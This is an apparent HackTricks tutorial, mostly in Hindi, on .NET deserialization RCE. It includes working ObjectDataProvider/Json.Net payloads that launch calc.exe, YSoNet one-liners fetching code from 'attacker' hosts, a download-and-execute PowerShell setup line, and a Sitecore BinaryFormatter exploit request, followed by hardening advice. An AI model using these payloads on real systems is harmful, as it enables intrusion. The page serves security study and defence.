बेसिक .Net deserialization (ObjectDataProvider gadget, ExpandedWrapper, and Json.Net)
Reading time: 11 minutes
tip
AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें और HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में PRs सबमिट करें।
This post is dedicated to समझने के लिए कि gadget ObjectDataProvider का कैसे शोषण किया जाता है ताकि RCE प्राप्त किया जा सके और कैसे Serialization लाइब्रेरीज़ Json.Net और xmlSerializer को उस gadget के साथ दुरुपयोग किया जा सकता है।
ObjectDataProvider Gadget
From the documentation: the ObjectDataProvider Class Wraps and creates an object that you can use as a binding source.
हाँ, ये एक अजीब व्याख्या है, तो आइए देखें कि इस क्लास में ऐसा क्या है जो इतना दिलचस्प है: यह क्लास किसी भी arbitrary object को wrap करने की अनुमति देती है, MethodParameters का उपयोग करके arbitrary parameters set किए जा सकते हैं, और फिर MethodName का उपयोग करके arbitrary object के किसी भी function को निर्दिष्ट किए गए parameters के साथ कॉल किया जा सकता है।
इसलिए, arbitrary object deserialized होते समय parameters के साथ एक function execute करेगा।
How is this possible
The System.Windows.Data namespace, जो कि PresentationFramework.dll में C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF
पर मिलता है, वहीं ObjectDataProvider परिभाषित और लागू किया गया है।
Using dnSpy आप उस क्लास का code inspect कर सकते हैं जिसमें हम रुचि रखते हैं। नीचे के इमेज में हम PresentationFramework.dll --> System.Windows.Data --> ObjectDataProvider --> Method name का code देख रहे हैं
जैसा कि आप देख सकते हैं जब MethodName
सेट किया जाता है तो base.Refresh()
को कॉल किया जाता है, आइए देखें यह क्या करता है:
ठीक है, चलिए आगे देखते हैं कि this.BeginQuery()
क्या करता है। BeginQuery
को ObjectDataProvider
द्वारा override किया गया है और यह वही है जो यह करता है:
ध्यान दें कि कोड के अंत में यह this.QueryWorke(null)
को कॉल कर रहा है। आइए देखें यह क्या execute करता है:
ध्यान दें कि यह function QueryWorker
का पूरा code नहीं है लेकिन यह उसका रोचक हिस्सा दिखाता है: कोड this.InvokeMethodOnInstance(out ex);
को कॉल करता है — यह वह लाइन है जहाँ set किया गया method invoke होता है।
यदि आप जांचना चाहते हैं कि केवल MethodName सेट करने पर वह execute होगा, तो आप इस कोड को चला सकते हैं:
using System.Windows.Data;
using System.Diagnostics;
namespace ODPCustomSerialExample
{
class Program
{
static void Main(string[] args)
{
ObjectDataProvider myODP = new ObjectDataProvider();
myODP.ObjectType = typeof(Process);
myODP.MethodParameters.Add("cmd.exe");
myODP.MethodParameters.Add("/c calc.exe");
myODP.MethodName = "Start";
}
}
}
Note that you need to add as reference C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll in order to load System.Windows.Data
ExpandedWrapper
पिछले exploit का उपयोग करते समय ऐसे मामले होंगें जहाँ object को ObjectDataProvider instance के रूप में deserialized as किया जाएगा (उदाहरण के लिए DotNetNuke vuln में, XmlSerializer का उपयोग करते हुए, object को GetType
का उपयोग करके deserialized किया गया था)। तब ObjectDataProvider instance में जो object type encapsulated है उसके बारे में (Process
जैसे) कोई जानकारी नहीं होगी। आप DotNetNuke vuln के बारे में अधिक जानकारी यहाँ पा सकते हैं: https://translate.google.com/translate?hl=en&sl=auto&tl=en&u=https%3A%2F%2Fpaper.seebug.org%2F365%2F&sandbox=1
यह क्लास किसी दिए गए instance में encapsulated objects के object types को निर्दिष्ट करने की अनुमति देती है। इसलिए, इस क्लास का उपयोग स्रोत object (ObjectDataProvider) को एक नए object type में encapsulate करने और हमें जिन properties की आवश्यकता है उन्हें प्रदान करने के लिए किया जा सकता है (ObjectDataProvider.MethodName और ObjectDataProvider.MethodParameters)।
यह उन मामलों के लिए बहुत उपयोगी है जैसा कि पहले प्रस्तुत किया गया था, क्योंकि हम ObjectDataProvider को एक ExpandedWrapper instance के अंदर wrap कर सकेंगे और जब deserialized होगा यह क्लास OjectDataProvider object बनाएगी जो MethodName में निर्दिष्ट function को execute करेगी।
You can check this wrapper with the following code:
using System.Windows.Data;
using System.Diagnostics;
using System.Data.Services.Internal;
namespace ODPCustomSerialExample
{
class Program
{
static void Main(string[] args)
{
ExpandedWrapper<Process, ObjectDataProvider> myExpWrap = new ExpandedWrapper<Process, ObjectDataProvider>();
myExpWrap.ProjectedProperty0 = new ObjectDataProvider();
myExpWrap.ProjectedProperty0.ObjectInstance = new Process();
myExpWrap.ProjectedProperty0.MethodParameters.Add("cmd.exe");
myExpWrap.ProjectedProperty0.MethodParameters.Add("/c calc.exe");
myExpWrap.ProjectedProperty0.MethodName = "Start";
}
}
}
Json.Net
In the official web page में बताया गया है कि यह लाइब्रेरी Serialize and deserialize any .NET object with Json.NET's powerful JSON serializer की अनुमति देती है। तो, अगर हम deserialize the ObjectDataProvider gadget कर सकें, तो सिर्फ़ एक object को deserialize करके ही हम RCE पैदा कर सकते हैं।
Json.Net example
सबसे पहले, आइए देखें कि इस लाइब्रेरी का उपयोग करके किसी object को serialize/deserialize कैसे किया जाता है:
using System;
using Newtonsoft.Json;
using System.Diagnostics;
using System.Collections.Generic;
namespace DeserializationTests
{
public class Account
{
public string Email { get; set; }
public bool Active { get; set; }
public DateTime CreatedDate { get; set; }
public IList<string> Roles { get; set; }
}
class Program
{
static void Main(string[] args)
{
Account account = new Account
{
Email = "james@example.com",
Active = true,
CreatedDate = new DateTime(2013, 1, 20, 0, 0, 0, DateTimeKind.Utc),
Roles = new List<string>
{
"User",
"Admin"
}
};
//Serialize the object and print it
string json = JsonConvert.SerializeObject(account);
Console.WriteLine(json);
//{"Email":"james@example.com","Active":true,"CreatedDate":"2013-01-20T00:00:00Z","Roles":["User","Admin"]}
//Deserialize it
Account desaccount = JsonConvert.DeserializeObject<Account>(json);
Console.WriteLine(desaccount.Email);
}
}
}
Json.Net का दुरुपयोग
मैंने ysoserial.net का उपयोग करके exploit बनाया:
yoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe"
{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd', '/c calc.exe']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}
इस कोड में आप test the exploit, बस इसे चलाएँ और आप देखेंगे कि calc चलाया जाता है:
using System;
using System.Text;
using Newtonsoft.Json;
namespace DeserializationTests
{
class Program
{
static void Main(string[] args)
{
//Declare exploit
string userdata = @"{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd', '/c calc.exe']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}";
//Exploit to base64
string userdata_b64 = Convert.ToBase64String(System.Text.Encoding.UTF8.GetBytes(userdata));
//Get data from base64
byte[] userdata_nob64 = Convert.FromBase64String(userdata_b64);
//Deserialize data
string userdata_decoded = Encoding.UTF8.GetString(userdata_nob64);
object obj = JsonConvert.DeserializeObject<object>(userdata_decoded, new JsonSerializerSettings
{
TypeNameHandling = TypeNameHandling.Auto
});
}
}
}
उन्नत .NET Gadget Chains (YSoNet & ysoserial.net)
ObjectDataProvider + ExpandedWrapper technique जो ऊपर प्रस्तुत किया गया था, केवल उन कई gadget chains में से एक है जिन्हें तब दुरुपयोग किया जा सकता है जब कोई application unsafe .NET deserialization करता है। Modern red-team tooling जैसे YSoNet (और पुराने ysoserial.net) दर्जनों gadgets और serialization formats के लिए ready-to-use malicious object graphs का निर्माण स्वचालित करते हैं।
नीचे YSoNet के साथ भेजे गए सबसे उपयोगी chains का संक्षिप्त संदर्भ दिया गया है, साथ ही वे कैसे काम करते हैं और payloads जनरेट करने के उदाहरण commands।
Gadget Chain | Key Idea / Primitive | Common Serializers | YSoNet one-liner |
---|---|---|---|
TypeConfuseDelegate | DelegateSerializationHolder रिकॉर्ड को करप्ट करता है ताकि, एक बार materialised होने पर, delegate किसी भी attacker द्वारा सप्लाई किए गए method की ओर इशारा करे (उदा. Process.Start ) | BinaryFormatter , SoapFormatter , NetDataContractSerializer | ysonet.exe TypeConfuseDelegate "calc.exe" > payload.bin |
ActivitySurrogateSelector | System.Workflow.ComponentModel.ActivitySurrogateSelector का दुरुपयोग कर के bypass .NET ≥4.8 type-filtering किया जाता है और दिए गए class के constructor को सीधे invoke किया जा सकता है या चालू के दौरान C# file को compile किया जा सकता है | BinaryFormatter , NetDataContractSerializer , LosFormatter | ysonet.exe ActivitySurrogateSelectorFromFile ExploitClass.cs;System.Windows.Forms.dll > payload.dat |
DataSetOldBehaviour | System.Data.DataSet के legacy XML प्रतिनिधित्व का उपयोग करके <ColumnMapping> / <DataType> फील्ड भरकर arbitrary types instantiate करता है (वैकल्पिक रूप से assembly को --spoofedAssembly से फेक कर सकते हैं) | LosFormatter , BinaryFormatter , XmlSerializer | ysonet.exe DataSetOldBehaviour "<DataSet>…</DataSet>" --spoofedAssembly mscorlib > payload.xml |
GetterCompilerResults | WPF-enabled runtimes (> .NET 5) पर property getters को chain करता है जब तक कि System.CodeDom.Compiler.CompilerResults तक न पहुँच जाए, फिर compiles या -c के साथ दिए गए DLL को loads करता है | Json.NET typeless, MessagePack typeless | ysonet.exe GetterCompilerResults -c Loader.dll > payload.json |
ObjectDataProvider (review) | WPF System.Windows.Data.ObjectDataProvider का उपयोग नियंत्रित arguments के साथ किसी arbitrary static method को call करने के लिए करता है। YSoNet एक सुविधाजनक --xamlurl variant जोड़ता है ताकि malicious XAML को remote पर host किया जा सके | BinaryFormatter , Json.NET , XAML , etc. | ysonet.exe ObjectDataProvider --xamlurl http://attacker/o.xaml > payload.xaml |
PSObject (CVE-2017-8565) | System.Management.Automation.PSObject में ScriptBlock embed करता है जो तब execute होता है जब PowerShell उस object को deserialise करता है | PowerShell remoting, BinaryFormatter | ysonet.exe PSObject "Invoke-WebRequest http://attacker/evil.ps1" > psobj.bin |
tip
डिफ़ॉल्ट रूप से सभी payloads stdout पर लिखे जाते हैं, जिससे उन्हें अन्य tooling (उदा. ViewState generators, base64 encoders, HTTP clients) में pipe करना trivial हो जाता है।
YSoNet बनाना / इंस्टॉल करना
यदि Actions ➜ Artifacts / Releases के अंतर्गत कोई pre-compiled binaries उपलब्ध नहीं हैं, तो निम्न PowerShell one-liner एक build environment सेट करेगा, repository को clone करेगा और सब कुछ Release mode में compile करेगा:
Set-ExecutionPolicy Bypass -Scope Process -Force;
[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072;
iex ((New-Object System.Net.WebClient).DownloadString('https://community.chocolatey.org/install.ps1'));
choco install visualstudio2022community visualstudio2022-workload-nativedesktop msbuild.communitytasks nuget.commandline git --yes;
git clone https://github.com/irsdl/ysonet
cd ysonet
nuget restore ysonet.sln
msbuild ysonet.sln -p:Configuration=Release
The compiled ysonet.exe
can then be found under ysonet/bin/Release/
.
डिटेक्शन और हार्डनिंग
- पता लगाएँ
w3wp.exe
,PowerShell.exe
के अनपेक्षित child processes, या किसी भी प्रोसेस का जो उपयोगकर्ता-प्रदान किए गए डेटा को deserialising कर रहा हो (जैसेMessagePack
,Json.NET
)। - सक्षम करें और type-filtering लागू/अनिवार्य करें (
TypeFilterLevel
= Full, customSurrogateSelector
,SerializationBinder
, etc.) जब भी legacyBinaryFormatter
/NetDataContractSerializer
हटाया न जा सके। - जहाँ संभव हो,
System.Text.Json
याDataContractJsonSerializer
पर स्थानांतरित करें, whitelist-आधारित converters के साथ। - उन वेब प्रक्रियाओं में जिन्हें कभी आवश्यकता नहीं हो, खतरनाक WPF assemblies (
PresentationFramework
,System.Workflow.*
) को लोड होने से रोकें।
वास्तविक दुनिया का sink: Sitecore convertToRuntimeHtml → BinaryFormatter
एक व्यवहारिक .NET sink जो प्रमाणीकृत Sitecore XP Content Editor प्रवाहों में पहुँच योग्य है:
- Sink API:
Sitecore.Convert.Base64ToObject(string)
new BinaryFormatter().Deserialize(...)
को wrap करता है। - Trigger path: pipeline
convertToRuntimeHtml
→ConvertWebControls
, जो एक sibling element खोजता है जिसकाid="{iframeId}_inner"
है औरvalue
attribute पढ़ता है जिसे base64‐encoded serialized data के रूप में माना जाता है। परिणाम को string में cast किया जाता है और HTML में insert किया जाता है।
Minimal end‑to‑end (authenticated):
// Load HTML into EditHtml session
POST /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.EditHtml.aspx
Content-Type: application/x-www-form-urlencoded
__PARAMETERS=edithtml:fix&...&ctl00$ctl00$ctl05$Html=
<html>
<iframe id="test" src="poc"></iframe>
<dummy id="test_inner" value="BASE64_BINARYFORMATTER"></dummy>
</html>
// Server returns a handle; visiting FixHtml.aspx?hdl=... triggers deserialization
GET /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.FixHtml.aspx?hdl=...
- Gadget: कोई भी BinaryFormatter chain जो string लौटाता है (side‑effects deserialization के दौरान चलते हैं). See YSoNet/ysoserial.net to generate payloads.
एक पूरा chain जो pre‑auth से शुरू होकर Sitecore में HTML cache poisoning के माध्यम से इस sink तक पहुँचता है:
संदर्भ
- YSoNet – .NET Deserialization Payload Generator
- ysoserial.net – original PoC tool
- Microsoft – CVE-2017-8565
- watchTowr Labs – Sitecore XP cache poisoning → RCE
tip
AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें और HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में PRs सबमिट करें।